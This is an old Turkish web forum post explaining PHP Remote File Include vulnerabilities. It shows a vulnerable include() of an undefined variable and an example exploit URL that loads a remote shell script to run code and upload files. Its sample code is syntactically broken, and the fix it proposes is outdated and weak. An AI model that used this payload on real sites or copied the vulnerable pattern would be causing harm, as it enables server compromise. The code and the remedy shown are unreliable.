Arkasokak Logo





Forum Arkasokak > HAYATIN İÇİNDEN > İnternet Teknoloji Tasarım » Remote File Include Güvenliği...!
eger kendiniz bir script yazıyorsanız Remote File Include açıklarına dikkat etmeniz gereklidir. $mehmetince gibi veriable'ları tanımlamalısınız. bu değişkenleri; include() require() ...

Cevap
  #1  
Eski 04-09-2006, 10:51 AM
Funeral of Hearts
Arkasokaklı
 
Mesaj: 1.341
mehmetince kullanıcısına MSN aracılığı ile mesaj yolla
Remote File Include Güvenliği...!

eger kendiniz bir script yazıyorsanız Remote File Include açıklarına dikkat etmeniz gereklidir.

$mehmetince gibi veriable'ları tanımlamalısınız.

bu değişkenleri;

include()
require()
include_once()
require_once()

ile kullandıgınızda eger önceden define edilmemişse sisteme uzaktan erişim sağlanacaktır.

mesela örne verelim; aşagıdaki kodları x.php olarak kaydedin

<?php
###########
#arkasokak.net#
###########

$mehmet = "ARKASOKAK NET"

echo $mehmet
<head>
<title>ARKASOKAK.NET</title>
</head>

?>

Şimdi aşagıdaki kodlarıda;a.php olarak kaydedin


<?php

###############
#arkasokak.net#
###############

include($arkasokak."x.php") ;

?>

Bu 2 dosyayı php destekleyen hostunuza attın
Daha sonra a.php ye girin, karşınıda ARKASOKAK NET yazısı gelecektir.

Şimdi a.php içine, x.php de olanları yazmak istedik.Bunun için include kullandım.
Ama $arkasokak değişkeni tanımlı olmadıgı için burda güvenlik açıgı bulunmaktadır.

a.php?arkasokak=http://shell-scripti?

bu şekilde siteye girmeye kalktık mı, uzaktan kod çalıştırırız ve serverda dosyta uploadı yapabiliriz.

bunu engellemek için örnek olarak a.php veya x.php ye

$arkasokak = "LAMERLER" ;

gibi bir kodla engelleyebiliriz.

BU DÖKÜMAN MEHMETİNCE YER AİTTİR.

Bu mesaj en son " 04-09-2006 " tarihinde saat 10:52 AM itibariyle mehmetince tarafından düzenlenmiştir....
Alıntı Yaparak Cevapla
Cevap

Konu Araçları
Görünüm Modları



Saat 12:43 PM.


Copyright ©2005 - 2008 Arkasokak.Net
Tasarım: NoDRaC
Bize Ulaşın - En Üst
Powered by vBulletin
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.2.0